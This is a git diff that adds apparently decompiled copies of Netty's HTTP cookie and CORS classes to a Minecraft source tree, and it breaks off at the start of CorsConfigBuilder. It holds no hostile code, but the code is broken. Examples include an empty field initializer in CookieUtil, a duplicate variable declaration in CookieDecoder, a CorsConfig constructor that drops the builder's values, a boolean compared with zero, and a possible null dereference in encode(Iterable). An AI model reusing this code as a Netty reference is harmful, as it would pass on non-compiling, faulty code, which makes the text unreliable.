diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/CookieDecoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/CookieDecoder.java
new file mode 100644
index 0000000..28188e4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/CookieDecoder.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.CharBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CookieDecoder
+{
+  private final InternalLogger logger = InternalLoggerFactory.getInstance(getClass());
+  private final boolean strict;
+  
+  protected CookieDecoder(boolean strict)
+  {
+    this.strict = strict;
+  }
+  
+  protected DefaultCookie initCookie(String header, int nameBegin, int nameEnd, int valueBegin, int valueEnd) {
+    if ((nameBegin == -1) || (nameBegin == nameEnd)) {
+      logger.debug("Skipping cookie with null name");
+      return null;
+    }
+    
+    if (valueBegin == -1) {
+      logger.debug("Skipping cookie with null value");
+      return null;
+    }
+    
+    CharSequence wrappedValue = CharBuffer.wrap(header, valueBegin, valueEnd);
+    CharSequence unwrappedValue = CookieUtil.unwrapValue(wrappedValue);
+    if (unwrappedValue == null) {
+      logger.debug("Skipping cookie because starting quotes are not properly balanced in '{}'", wrappedValue);
+      
+      return null;
+    }
+    
+    String name = header.substring(nameBegin, nameEnd);
+    
+    int invalidOctetPos;
+    if ((strict) && ((invalidOctetPos = CookieUtil.firstInvalidCookieNameOctet(name)) >= 0)) {
+      if (logger.isDebugEnabled()) {
+        logger.debug("Skipping cookie because name '{}' contains invalid char '{}'", name, Character.valueOf(name.charAt(invalidOctetPos)));
+      }
+      
+      return null;
+    }
+    
+    boolean wrap = unwrappedValue.length() != valueEnd - valueBegin;
+    int invalidOctetPos;
+    if ((strict) && ((invalidOctetPos = CookieUtil.firstInvalidCookieValueOctet(unwrappedValue)) >= 0)) {
+      if (logger.isDebugEnabled()) {
+        logger.debug("Skipping cookie because value '{}' contains invalid char '{}'", unwrappedValue, Character.valueOf(unwrappedValue.charAt(invalidOctetPos)));
+      }
+      
+      return null;
+    }
+    
+    DefaultCookie cookie = new DefaultCookie(name, unwrappedValue.toString());
+    cookie.setWrap(wrap);
+    return cookie;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/CookieEncoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/CookieEncoder.java
new file mode 100644
index 0000000..64d0dd9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/CookieEncoder.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.http.cookie;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CookieEncoder
+{
+  protected final boolean strict;
+  
+
+
+
+
+
+
+
+
+
+
+  protected CookieEncoder(boolean strict)
+  {
+    this.strict = strict;
+  }
+  
+  protected void validateCookie(String name, String value) {
+    if (strict)
+    {
+      int pos;
+      if ((pos = CookieUtil.firstInvalidCookieNameOctet(name)) >= 0) {
+        throw new IllegalArgumentException("Cookie name contains an invalid char: " + name.charAt(pos));
+      }
+      
+      CharSequence unwrappedValue = CookieUtil.unwrapValue(value);
+      if (unwrappedValue == null) {
+        throw new IllegalArgumentException("Cookie value wrapping quotes are not balanced: " + value);
+      }
+      
+      if ((pos = CookieUtil.firstInvalidCookieValueOctet(unwrappedValue)) >= 0) {
+        throw new IllegalArgumentException("Cookie value contains an invalid char: " + value.charAt(pos));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/CookieHeaderNames.java b/src/minecraft/io/netty/handler/codec/http/cookie/CookieHeaderNames.java
new file mode 100644
index 0000000..8d711eb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/CookieHeaderNames.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.http.cookie;
+
+public final class CookieHeaderNames
+{
+  public static final String PATH = "Path";
+  public static final String EXPIRES = "Expires";
+  public static final String MAX_AGE = "Max-Age";
+  public static final String DOMAIN = "Domain";
+  public static final String SECURE = "Secure";
+  public static final String HTTPONLY = "HTTPOnly";
+  
+  private CookieHeaderNames() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/CookieUtil.java b/src/minecraft/io/netty/handler/codec/http/cookie/CookieUtil.java
new file mode 100644
index 0000000..1a9e2c3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/CookieUtil.java
@@ -0,0 +1,181 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.util.BitSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CookieUtil
+{
+  private static final BitSet VALID_COOKIE_NAME_OCTETS = ;
+  
+  private static final BitSet VALID_COOKIE_VALUE_OCTETS = validCookieValueOctets();
+  
+  private static final BitSet VALID_COOKIE_ATTRIBUTE_VALUE_OCTETS = validCookieAttributeValueOctets();
+  
+
+
+
+
+  private static BitSet validCookieNameOctets()
+  {
+    BitSet bits = new BitSet();
+    for (int i = 32; i < 127; i++) {
+      bits.set(i);
+    }
+    int[] separators = { 40, 41, 60, 62, 64, 44, 59, 58, 92, 34, 47, 91, 93, 63, 61, 123, 125, 32, 9 };
+    
+    for (int separator : separators) {
+      bits.set(separator, false);
+    }
+    return bits;
+  }
+  
+
+  private static BitSet validCookieValueOctets()
+  {
+    BitSet bits = new BitSet();
+    bits.set(33);
+    for (int i = 35; i <= 43; i++) {
+      bits.set(i);
+    }
+    for (int i = 45; i <= 58; i++) {
+      bits.set(i);
+    }
+    for (int i = 60; i <= 91; i++) {
+      bits.set(i);
+    }
+    for (int i = 93; i <= 126; i++) {
+      bits.set(i);
+    }
+    return bits;
+  }
+  
+  private static BitSet validCookieAttributeValueOctets()
+  {
+    BitSet bits = new BitSet();
+    for (int i = 32; i < 127; i++) {
+      bits.set(i);
+    }
+    bits.set(59, false);
+    return bits;
+  }
+  
+  static StringBuilder stringBuilder() {
+    return InternalThreadLocalMap.get().stringBuilder();
+  }
+  
+
+
+
+  static String stripTrailingSeparatorOrNull(StringBuilder buf)
+  {
+    return buf.length() == 0 ? null : stripTrailingSeparator(buf);
+  }
+  
+  static String stripTrailingSeparator(StringBuilder buf) {
+    if (buf.length() > 0) {
+      buf.setLength(buf.length() - 2);
+    }
+    return buf.toString();
+  }
+  
+  static void add(StringBuilder sb, String name, long val) {
+    sb.append(name);
+    sb.append('=');
+    sb.append(val);
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static void add(StringBuilder sb, String name, String val) {
+    sb.append(name);
+    sb.append('=');
+    sb.append(val);
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static void add(StringBuilder sb, String name) {
+    sb.append(name);
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static void addQuoted(StringBuilder sb, String name, String val) {
+    if (val == null) {
+      val = "";
+    }
+    
+    sb.append(name);
+    sb.append('=');
+    sb.append('"');
+    sb.append(val);
+    sb.append('"');
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static int firstInvalidCookieNameOctet(CharSequence cs) {
+    return firstInvalidOctet(cs, VALID_COOKIE_NAME_OCTETS);
+  }
+  
+  static int firstInvalidCookieValueOctet(CharSequence cs) {
+    return firstInvalidOctet(cs, VALID_COOKIE_VALUE_OCTETS);
+  }
+  
+  static int firstInvalidOctet(CharSequence cs, BitSet bits) {
+    for (int i = 0; i < cs.length(); i++) {
+      char c = cs.charAt(i);
+      if (!bits.get(c)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  static CharSequence unwrapValue(CharSequence cs) {
+    int len = cs.length();
+    if ((len > 0) && (cs.charAt(0) == '"')) {
+      if ((len >= 2) && (cs.charAt(len - 1) == '"'))
+      {
+        return len == 2 ? "" : cs.subSequence(1, len - 1);
+      }
+      return null;
+    }
+    
+    return cs;
+  }
+  
+  static String validateAttributeValue(String name, String value) {
+    if (value == null) {
+      return null;
+    }
+    value = value.trim();
+    if (value.isEmpty()) {
+      return null;
+    }
+    int i = firstInvalidOctet(value, VALID_COOKIE_ATTRIBUTE_VALUE_OCTETS);
+    if (i != -1) {
+      throw new IllegalArgumentException(name + " contains the prohibited characters: " + value.charAt(i));
+    }
+    return value;
+  }
+  
+  private CookieUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/DefaultCookie.java b/src/minecraft/io/netty/handler/codec/http/cookie/DefaultCookie.java
new file mode 100644
index 0000000..0b26efc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/DefaultCookie.java
@@ -0,0 +1,239 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultCookie
+  implements Cookie
+{
+  private final String name;
+  private String value;
+  private boolean wrap;
+  private String domain;
+  private String path;
+  private long maxAge = Long.MIN_VALUE;
+  
+  private boolean secure;
+  
+  private boolean httpOnly;
+  
+  public DefaultCookie(String name, String value)
+  {
+    name = ((String)ObjectUtil.checkNotNull(name, "name")).trim();
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    this.name = name;
+    setValue(value);
+  }
+  
+  public String name()
+  {
+    return name;
+  }
+  
+  public String value()
+  {
+    return value;
+  }
+  
+  public void setValue(String value)
+  {
+    this.value = ((String)ObjectUtil.checkNotNull(value, "value"));
+  }
+  
+  public boolean wrap()
+  {
+    return wrap;
+  }
+  
+  public void setWrap(boolean wrap)
+  {
+    this.wrap = wrap;
+  }
+  
+  public String domain()
+  {
+    return domain;
+  }
+  
+  public void setDomain(String domain)
+  {
+    this.domain = CookieUtil.validateAttributeValue("domain", domain);
+  }
+  
+  public String path()
+  {
+    return path;
+  }
+  
+  public void setPath(String path)
+  {
+    this.path = CookieUtil.validateAttributeValue("path", path);
+  }
+  
+  public long maxAge()
+  {
+    return maxAge;
+  }
+  
+  public void setMaxAge(long maxAge)
+  {
+    this.maxAge = maxAge;
+  }
+  
+  public boolean isSecure()
+  {
+    return secure;
+  }
+  
+  public void setSecure(boolean secure)
+  {
+    this.secure = secure;
+  }
+  
+  public boolean isHttpOnly()
+  {
+    return httpOnly;
+  }
+  
+  public void setHttpOnly(boolean httpOnly)
+  {
+    this.httpOnly = httpOnly;
+  }
+  
+  public int hashCode()
+  {
+    return name().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    
+    if (!(o instanceof Cookie)) {
+      return false;
+    }
+    
+    Cookie that = (Cookie)o;
+    if (!name().equals(that.name())) {
+      return false;
+    }
+    
+    if (path() == null) {
+      if (that.path() != null)
+        return false;
+    } else {
+      if (that.path() == null)
+        return false;
+      if (!path().equals(that.path())) {
+        return false;
+      }
+    }
+    if (domain() == null) {
+      if (that.domain() != null)
+        return false;
+    } else {
+      if (that.domain() == null) {
+        return false;
+      }
+      return domain().equalsIgnoreCase(that.domain());
+    }
+    
+    return true;
+  }
+  
+  public int compareTo(Cookie c)
+  {
+    int v = name().compareTo(c.name());
+    if (v != 0) {
+      return v;
+    }
+    
+    if (path() == null) {
+      if (c.path() != null)
+        return -1;
+    } else {
+      if (c.path() == null) {
+        return 1;
+      }
+      v = path().compareTo(c.path());
+      if (v != 0) {
+        return v;
+      }
+    }
+    
+    if (domain() == null) {
+      if (c.domain() != null)
+        return -1;
+    } else {
+      if (c.domain() == null) {
+        return 1;
+      }
+      v = domain().compareToIgnoreCase(c.domain());
+      return v;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  protected String validateValue(String name, String value)
+  {
+    return CookieUtil.validateAttributeValue(name, value);
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = CookieUtil.stringBuilder().append(name()).append('=').append(value());
+    
+
+
+    if (domain() != null) {
+      buf.append(", domain=").append(domain());
+    }
+    
+    if (path() != null) {
+      buf.append(", path=").append(path());
+    }
+    
+    if (maxAge() >= 0L) {
+      buf.append(", maxAge=").append(maxAge()).append('s');
+    }
+    
+
+    if (isSecure()) {
+      buf.append(", secure");
+    }
+    if (isHttpOnly()) {
+      buf.append(", HTTPOnly");
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieDecoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieDecoder.java
new file mode 100644
index 0000000..219a7c5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieDecoder.java
@@ -0,0 +1,157 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collections;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ServerCookieDecoder
+  extends CookieDecoder
+{
+  private static final String RFC2965_VERSION = "$Version";
+  private static final String RFC2965_PATH = "$Path";
+  private static final String RFC2965_DOMAIN = "$Domain";
+  private static final String RFC2965_PORT = "$Port";
+  public static final ServerCookieDecoder STRICT = new ServerCookieDecoder(true);
+  
+
+
+
+  public static final ServerCookieDecoder LAX = new ServerCookieDecoder(false);
+  
+  private ServerCookieDecoder(boolean strict) {
+    super(strict);
+  }
+  
+
+
+
+
+  public Set<Cookie> decode(String header)
+  {
+    int headerLen = ((String)ObjectUtil.checkNotNull(header, "header")).length();
+    
+    if (headerLen == 0) {
+      return Collections.emptySet();
+    }
+    
+    Set<Cookie> cookies = new TreeSet();
+    
+    int i = 0;
+    
+    boolean rfc2965Style = false;
+    if (header.regionMatches(true, 0, "$Version", 0, "$Version".length()))
+    {
+      i = header.indexOf(';') + 1;
+      rfc2965Style = true;
+    }
+    
+
+
+
+
+    while (i != headerLen)
+    {
+
+      char c = header.charAt(i);
+      if ((c == '\t') || (c == '\n') || (c == '\013') || (c == '\f') || (c == '\r') || (c == ' ') || (c == ',') || (c == ';'))
+      {
+        i++;
+
+      }
+      else
+      {
+
+        int nameBegin = i;
+        int nameEnd = i;
+        int valueBegin = -1;
+        int valueEnd = -1;
+        
+        if (i != headerLen) {
+          for (;;)
+          {
+            char curChar = header.charAt(i);
+            if (curChar == ';')
+            {
+              nameEnd = i;
+              valueBegin = valueEnd = -1;
+              break;
+            }
+            if (curChar == '=')
+            {
+              nameEnd = i;
+              i++;
+              if (i == headerLen)
+              {
+                valueBegin = valueEnd = 0;
+                break;
+              }
+              
+              valueBegin = i;
+              
+              int semiPos = header.indexOf(';', i);
+              valueEnd = i = semiPos > 0 ? semiPos : headerLen;
+              break;
+            }
+            i++;
+            
+
+            if (i == headerLen)
+            {
+              nameEnd = headerLen;
+              valueBegin = valueEnd = -1;
+              break;
+            }
+          }
+        }
+        
+        if ((!rfc2965Style) || ((!header.regionMatches(nameBegin, "$Path", 0, "$Path".length())) && (!header.regionMatches(nameBegin, "$Domain", 0, "$Domain".length())) && (!header.regionMatches(nameBegin, "$Port", 0, "$Port".length()))))
+        {
+
+
+
+
+
+
+          DefaultCookie cookie = initCookie(header, nameBegin, nameEnd, valueBegin, valueEnd);
+          if (cookie != null)
+            cookies.add(cookie);
+        }
+      }
+    }
+    return cookies;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieEncoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieEncoder.java
new file mode 100644
index 0000000..b4a3032
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/ServerCookieEncoder.java
@@ -0,0 +1,220 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.handler.codec.http.HttpHeaderDateFormat;
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ServerCookieEncoder
+  extends CookieEncoder
+{
+  public static final ServerCookieEncoder STRICT = new ServerCookieEncoder(true);
+  
+
+
+
+
+  public static final ServerCookieEncoder LAX = new ServerCookieEncoder(false);
+  
+  private ServerCookieEncoder(boolean strict) {
+    super(strict);
+  }
+  
+
+
+
+
+
+
+  public String encode(String name, String value)
+  {
+    return encode(new DefaultCookie(name, value));
+  }
+  
+
+
+
+
+
+  public String encode(Cookie cookie)
+  {
+    String name = ((Cookie)ObjectUtil.checkNotNull(cookie, "cookie")).name();
+    String value = cookie.value() != null ? cookie.value() : "";
+    
+    validateCookie(name, value);
+    
+    StringBuilder buf = CookieUtil.stringBuilder();
+    
+    if (cookie.wrap()) {
+      CookieUtil.addQuoted(buf, name, value);
+    } else {
+      CookieUtil.add(buf, name, value);
+    }
+    
+    if (cookie.maxAge() != Long.MIN_VALUE) {
+      CookieUtil.add(buf, "Max-Age", cookie.maxAge());
+      Date expires = new Date(cookie.maxAge() * 1000L + System.currentTimeMillis());
+      CookieUtil.add(buf, "Expires", HttpHeaderDateFormat.get().format(expires));
+    }
+    
+    if (cookie.path() != null) {
+      CookieUtil.add(buf, "Path", cookie.path());
+    }
+    
+    if (cookie.domain() != null) {
+      CookieUtil.add(buf, "Domain", cookie.domain());
+    }
+    if (cookie.isSecure()) {
+      CookieUtil.add(buf, "Secure");
+    }
+    if (cookie.isHttpOnly()) {
+      CookieUtil.add(buf, "HTTPOnly");
+    }
+    
+    return CookieUtil.stripTrailingSeparator(buf);
+  }
+  
+
+
+
+
+
+  private List<String> dedup(List<String> encoded, Map<String, Integer> nameToLastIndex)
+  {
+    boolean[] isLastInstance = new boolean[encoded.size()];
+    for (Iterator i$ = nameToLastIndex.values().iterator(); i$.hasNext();) { int idx = ((Integer)i$.next()).intValue();
+      isLastInstance[idx] = true;
+    }
+    List<String> dedupd = new ArrayList(nameToLastIndex.size());
+    int i = 0; for (int n = encoded.size(); i < n; i++) {
+      if (isLastInstance[i] != 0) {
+        dedupd.add(encoded.get(i));
+      }
+    }
+    return dedupd;
+  }
+  
+
+
+
+
+
+  public List<String> encode(Cookie... cookies)
+  {
+    if (((Cookie[])ObjectUtil.checkNotNull(cookies, "cookies")).length == 0) {
+      return Collections.emptyList();
+    }
+    
+    List<String> encoded = new ArrayList(cookies.length);
+    Map<String, Integer> nameToIndex = (strict) && (cookies.length > 1) ? new HashMap() : null;
+    boolean hasDupdName = false;
+    for (int i = 0; i < cookies.length; i++) {
+      Cookie c = cookies[i];
+      encoded.add(encode(c));
+      if (nameToIndex != null) {
+        hasDupdName |= nameToIndex.put(c.name(), Integer.valueOf(i)) != null;
+      }
+    }
+    return hasDupdName ? dedup(encoded, nameToIndex) : encoded;
+  }
+  
+
+
+
+
+
+  public List<String> encode(Collection<? extends Cookie> cookies)
+  {
+    if (((Collection)ObjectUtil.checkNotNull(cookies, "cookies")).isEmpty()) {
+      return Collections.emptyList();
+    }
+    
+    List<String> encoded = new ArrayList(cookies.size());
+    Map<String, Integer> nameToIndex = (strict) && (cookies.size() > 1) ? new HashMap() : null;
+    int i = 0;
+    boolean hasDupdName = false;
+    for (Cookie c : cookies) {
+      encoded.add(encode(c));
+      if (nameToIndex != null) {
+        hasDupdName |= nameToIndex.put(c.name(), Integer.valueOf(i++)) != null;
+      }
+    }
+    return hasDupdName ? dedup(encoded, nameToIndex) : encoded;
+  }
+  
+
+
+
+
+
+  public List<String> encode(Iterable<? extends Cookie> cookies)
+  {
+    Iterator<? extends Cookie> cookiesIt = ((Iterable)ObjectUtil.checkNotNull(cookies, "cookies")).iterator();
+    if (!cookiesIt.hasNext()) {
+      return Collections.emptyList();
+    }
+    
+    List<String> encoded = new ArrayList();
+    Cookie firstCookie = (Cookie)cookiesIt.next();
+    Map<String, Integer> nameToIndex = (strict) && (cookiesIt.hasNext()) ? new HashMap() : null;
+    int i = 0;
+    encoded.add(encode(firstCookie));
+    boolean hasDupdName = nameToIndex.put(firstCookie.name(), Integer.valueOf(i++)) != null;
+    while (cookiesIt.hasNext()) {
+      Cookie c = (Cookie)cookiesIt.next();
+      encoded.add(encode(c));
+      if (nameToIndex != null) {
+        hasDupdName |= nameToIndex.put(c.name(), Integer.valueOf(i++)) != null;
+      }
+    }
+    return hasDupdName ? dedup(encoded, nameToIndex) : encoded;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cors/CorsConfig.java b/src/minecraft/io/netty/handler/codec/http/cors/CorsConfig.java
new file mode 100644
index 0000000..be593ea
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cors/CorsConfig.java
@@ -0,0 +1,574 @@
+package io.netty.handler.codec.http.cors;
+
+import io.netty.handler.codec.http.DefaultHttpHeaders;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.util.internal.StringUtil;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.Callable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CorsConfig
+{
+  private final Set<String> origins;
+  private final boolean anyOrigin;
+  private final boolean enabled;
+  private final Set<String> exposeHeaders;
+  private final boolean allowCredentials;
+  private final long maxAge;
+  private final Set<HttpMethod> allowedRequestMethods;
+  private final Set<String> allowedRequestHeaders;
+  private final boolean allowNullOrigin;
+  private final Map<CharSequence, Callable<?>> preflightHeaders;
+  private final boolean shortCurcuit;
+  
+  private CorsConfig(Builder builder)
+  {
+    origins = new LinkedHashSet(origins);
+    anyOrigin = anyOrigin;
+    enabled = enabled;
+    exposeHeaders = exposeHeaders;
+    allowCredentials = allowCredentials;
+    maxAge = maxAge;
+    allowedRequestMethods = requestMethods;
+    allowedRequestHeaders = requestHeaders;
+    allowNullOrigin = allowNullOrigin;
+    preflightHeaders = preflightHeaders;
+    shortCurcuit = shortCurcuit;
+  }
+  
+
+
+
+
+  public boolean isCorsSupportEnabled()
+  {
+    return enabled;
+  }
+  
+
+
+
+
+  public boolean isAnyOriginSupported()
+  {
+    return anyOrigin;
+  }
+  
+
+
+
+
+  public String origin()
+  {
+    return origins.isEmpty() ? "*" : (String)origins.iterator().next();
+  }
+  
+
+
+
+
+  public Set<String> origins()
+  {
+    return origins;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isNullOriginAllowed()
+  {
+    return allowNullOrigin;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Set<String> exposedHeaders()
+  {
+    return Collections.unmodifiableSet(exposeHeaders);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isCredentialsAllowed()
+  {
+    return allowCredentials;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long maxAge()
+  {
+    return maxAge;
+  }
+  
+
+
+
+
+
+  public Set<HttpMethod> allowedRequestMethods()
+  {
+    return Collections.unmodifiableSet(allowedRequestMethods);
+  }
+  
+
+
+
+
+
+
+
+  public Set<String> allowedRequestHeaders()
+  {
+    return Collections.unmodifiableSet(allowedRequestHeaders);
+  }
+  
+
+
+
+
+  public HttpHeaders preflightResponseHeaders()
+  {
+    if (this.preflightHeaders.isEmpty()) {
+      return HttpHeaders.EMPTY_HEADERS;
+    }
+    HttpHeaders preflightHeaders = new DefaultHttpHeaders();
+    for (Map.Entry<CharSequence, Callable<?>> entry : this.preflightHeaders.entrySet()) {
+      Object value = getValue((Callable)entry.getValue());
+      if ((value instanceof Iterable)) {
+        preflightHeaders.add((CharSequence)entry.getKey(), (Iterable)value);
+      } else {
+        preflightHeaders.add((CharSequence)entry.getKey(), value);
+      }
+    }
+    return preflightHeaders;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isShortCurcuit()
+  {
+    return shortCurcuit;
+  }
+  
+  private static <T> T getValue(Callable<T> callable) {
+    try {
+      return callable.call();
+    } catch (Exception e) {
+      throw new IllegalStateException("Could not generate value for callable [" + callable + ']', e);
+    }
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "[enabled=" + enabled + ", origins=" + origins + ", anyOrigin=" + anyOrigin + ", exposedHeaders=" + exposeHeaders + ", isCredentialsAllowed=" + allowCredentials + ", maxAge=" + maxAge + ", allowedRequestMethods=" + allowedRequestMethods + ", allowedRequestHeaders=" + allowedRequestHeaders + ", preflightHeaders=" + preflightHeaders + ']';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Builder withAnyOrigin()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+  public static Builder withOrigin(String origin)
+  {
+    if ("*".equals(origin)) {
+      return new Builder();
+    }
+    return new Builder(new String[] { origin });
+  }
+  
+
+
+
+
+  public static Builder withOrigins(String... origins)
+  {
+    return new Builder(origins);
+  }
+  
+
+  public static class Builder
+  {
+    private final Set<String> origins;
+    
+    private final boolean anyOrigin;
+    
+    private boolean allowNullOrigin;
+    private boolean enabled = true;
+    private boolean allowCredentials;
+    private final Set<String> exposeHeaders = new HashSet();
+    private long maxAge;
+    private final Set<HttpMethod> requestMethods = new HashSet();
+    private final Set<String> requestHeaders = new HashSet();
+    private final Map<CharSequence, Callable<?>> preflightHeaders = new HashMap();
+    
+
+    private boolean noPreflightHeaders;
+    
+    private boolean shortCurcuit;
+    
+
+    public Builder(String... origins)
+    {
+      this.origins = new LinkedHashSet(Arrays.asList(origins));
+      anyOrigin = false;
+    }
+    
+
+
+
+
+    public Builder()
+    {
+      anyOrigin = true;
+      origins = Collections.emptySet();
+    }
+    
+
+
+
+
+
+
+    public Builder allowNullOrigin()
+    {
+      allowNullOrigin = true;
+      return this;
+    }
+    
+
+
+
+
+    public Builder disable()
+    {
+      enabled = false;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder exposeHeaders(String... headers)
+    {
+      exposeHeaders.addAll(Arrays.asList(headers));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder allowCredentials()
+    {
+      allowCredentials = true;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder maxAge(long max)
+    {
+      maxAge = max;
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder allowedRequestMethods(HttpMethod... methods)
+    {
+      requestMethods.addAll(Arrays.asList(methods));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder allowedRequestHeaders(String... headers)
+    {
+      requestHeaders.addAll(Arrays.asList(headers));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder preflightResponseHeader(CharSequence name, Object... values)
+    {
+      if (values.length == 1) {
+        preflightHeaders.put(name, new CorsConfig.ConstantValueGenerator(values[0], null));
+      } else {
+        preflightResponseHeader(name, Arrays.asList(values));
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public <T> Builder preflightResponseHeader(CharSequence name, Iterable<T> value)
+    {
+      preflightHeaders.put(name, new CorsConfig.ConstantValueGenerator(value, null));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public <T> Builder preflightResponseHeader(String name, Callable<T> valueGenerator)
+    {
+      preflightHeaders.put(name, valueGenerator);
+      return this;
+    }
+    
+
+
+
+
+    public Builder noPreflightResponseHeaders()
+    {
+      noPreflightHeaders = true;
+      return this;
+    }
+    
+
+
+
+
+    public CorsConfig build()
+    {
+      if ((preflightHeaders.isEmpty()) && (!noPreflightHeaders)) {
+        preflightHeaders.put("Date", new CorsConfig.DateValueGenerator());
+        preflightHeaders.put("Content-Length", new CorsConfig.ConstantValueGenerator("0", null));
+      }
+      return new CorsConfig(this, null);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder shortCurcuit()
+    {
+      shortCurcuit = true;
+      return this;
+    }
+  }
+  
+
+
+
+
+  private static final class ConstantValueGenerator
+    implements Callable<Object>
+  {
+    private final Object value;
+    
+
+
+
+
+    private ConstantValueGenerator(Object value)
+    {
+      if (value == null) {
+        throw new IllegalArgumentException("value must not be null");
+      }
+      this.value = value;
+    }
+    
+    public Object call()
+    {
+      return value;
+    }
+  }
+  
+
+  public static final class DateValueGenerator
+    implements Callable<Date>
+  {
+    public DateValueGenerator() {}
+    
+    public Date call()
+      throws Exception
+    {
+      return new Date();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cors/CorsConfigBuilder.java b/src/minecraft/io/netty/handler/codec/http/cors/CorsConfigBuilder.java
new file mode 100644
index 0000000..601002e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cors/CorsConfigBuilder.java
@@ -0,0 +1,351 @@
+package io.netty.handler.codec.http.cors;
+
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpMethod;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Callable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CorsConfigBuilder
+{
+  final Set<String> origins;
+  final boolean anyOrigin;
+  boolean allowNullOrigin;
+  
+  public static CorsConfigBuilder forAnyOrigin()
+  {
+    return new CorsConfigBuilder();
+  }
+  
+
+
+
+
